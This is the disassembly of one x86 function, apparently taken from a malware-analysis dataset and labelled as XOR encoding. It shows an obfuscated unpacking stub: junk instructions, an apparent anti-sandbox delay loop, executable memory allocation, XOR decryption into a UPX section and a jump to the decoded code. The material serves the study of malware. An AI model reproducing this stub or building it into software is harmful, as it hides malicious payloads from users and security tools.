Function at 0x4c472c
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x52fa2d21
add edx, 0x2f298be7
dec esi
inc esi
popal
add edx, 0xd5740c6a
dec esi
add esi, esi
mov eax, 0
mov ecx, esi
mov edi, 0x4a376a69
inc edi
mov ebx, ecx
add edi, 1
add edx, 0x294d758d
and edx, edi
mov esi, ebx
and edx, edx
not edx
inc eax
mov edi, 0x5859c180
sub edi, edx
not edx
cmp eax, 0x1007da2
jne 0x4c4749
add edi, edi
add edx, edx
and edi, edx
add edx, edx
inc esi
mov esi, 0x4c4516
or edi, ebx
mov edi, ecx
dec ecx
mov edx, 0x4c470a
mov ecx, ebx
and ecx, ebx
sub ecx, 1
mov eax, dword [esi]
add edi, ecx
not ecx
mov edi, 0xd54e4d9a
and eax, 0xff
dec ebx
mov ebx, ecx
xor dword [edx], eax
not ebx
mov ecx, edi
inc edx
dec edi
add ebx, 0x404e1043
and edi, ecx
inc esi
mov ecx, 0x174788fe
not ebx
mov edi, ecx
cmp edx, entry0
jl 0x4c479f
sub ecx, ebx
sub ecx, 0x6bb4f5e8
sub edi, 0x76b73d89
inc edi
mov ebx, ecx
or ebx, edi
add ebx, 0x3e9f7723
mov ecx, 0x4c470e
and edx, edx
dec edi
sub edx, esi
mov ecx, dword [ecx]
sub edx, 0x271678f5
not ebx
mov ecx, dword [ecx]
sub esi, 0x17a19653
or edi, edx
push ecx
dec edx
not esi
sub edi, esi
mov ecx, 0x4c470a
add edi, 0xcc2e780b
or esi, esi
or ebx, ebx
mov ecx, dword [ecx]
mov edx, 0x1a7a0a5d
mov edx, 0xc7cfb7d5
mov ecx, dword [ecx]
mov edi, edx
mov esi, 0xf112b0a6
push 0x4c4712
or esi, ebx
add esi, 0x2ebd5948
mov esi, 0x5e4a3467
call ecx
not edi
sub esi, ebx
pop ecx
add edi, 1
add edx, edi
inc esi
sub esp, 4
mov dword [esp], 0x4c471f
sub ebx, 0x47a2db8f
mov esi, 0x3a4d0145
sub esi, 0x6ffb839
push eax
mov edi, esi
dec edi
call ecx
or edx, ebx
sub edx, edi
not ebx
push 0x40
mov ebx, esi
mov ebx, edi
sub esp, 4
mov dword [esp], 0x3000
and esi, edx
mov edx, esi
push 0x200007cc
mov ebx, esi
add edi, esi
sub esi, edx
push 0
sub edx, esi
not ebx
call eax
inc esi
or edi, esi
mov edi, 0x2aba7fbd
add eax, 0x2000070d
sub edx, ebx
not edi
sub edx, esi
mov ecx, 0x7024d828
sub ebx, edi
add edx, 0x5d6bb91a
inc esi
mov dword [eax], ecx
not esi
add ebx, 0x5d98592f
sub ebx, 0x2ff524b5
mov ecx, dword [eax]
add edx, edx
dec esi
cmp ecx, 0x7024d828
je 0x4c48f6
mov ebx, 0
mov eax, dword [ebx]
inc edi
sub edx, 1
and esi, esi
mov esi, 0x621de672
add esi, 0x810f7582
and esi, edx
mov ecx, section.UPX1
dec esi
mov esi, 0x8a0de45a
mov ebx, 0x4c4515
mov esi, 0xdbf60e7f
not edx
mov eax, 0
sub esi, edx
inc edx
mov edi, 0x4c4516
and esi, edx
add edx, 0x6eb97b3d
sub edx, 1
lea edi, [eax + edi]
add esi, 1
sub esi, edx
sub esi, 1
mov edi, dword [edi]
mov esi, 0x57bbb9d
or edx, edx
sub esi, edx
and edi, 0xff
add edx, 0x8f393405
sub esi, edx
and edx, esi
inc eax
add edx, esi
mov edx, 0xce60ddd3
sub esi, 1
cmp eax, 0x1f4
jne 0x4c4985
mov eax, 0
mov esi, 0x2951a515
mov esi, 0xa47f52a5
and esi, esi
add esi, 0xadef5304
mov esi, 0x782a3514
not esi
xor dword [ecx], edi
and esi, edx
sub esi, 0x56e7728c
add ecx, 2
inc esi
or esi, esi
and esi, esi
cmp ecx, ebx
jl 0x4c492b
mov edx, esi
inc edx
not edx
not edx
inc esi
dec edx
mov ebx, section.UPX1
add edx, eax
add edx, 1
mov esi, section.UPX1
and edx, eax
inc eax
sub edx, eax
mov edi, 0x4c4515
mov eax, 0x9b16dd15
and edx, edx
mov eax, 0xd2e4f0bb
mov ecx, 0
add eax, edx
sub edx, 0x5b1bf85e
mov cl, byte [esi]
not edx
sub eax, 0xff732cd7
mov byte [ebx], cl
inc eax
dec eax
not eax
inc ebx
add edx, 1
mov eax, 0x3b2dd66
add esi, 2
dec eax
not edx
cmp esi, edi
jle 0x4c49f9
dec edx
mov eax, 0x138b82cd
sub eax, 0x5ff1d5b4
dec esi
mov edx, esi
push 0x4956a0
sub esi, 0x418dc14f
or edx, esi
add edx, 0x7974e232
ret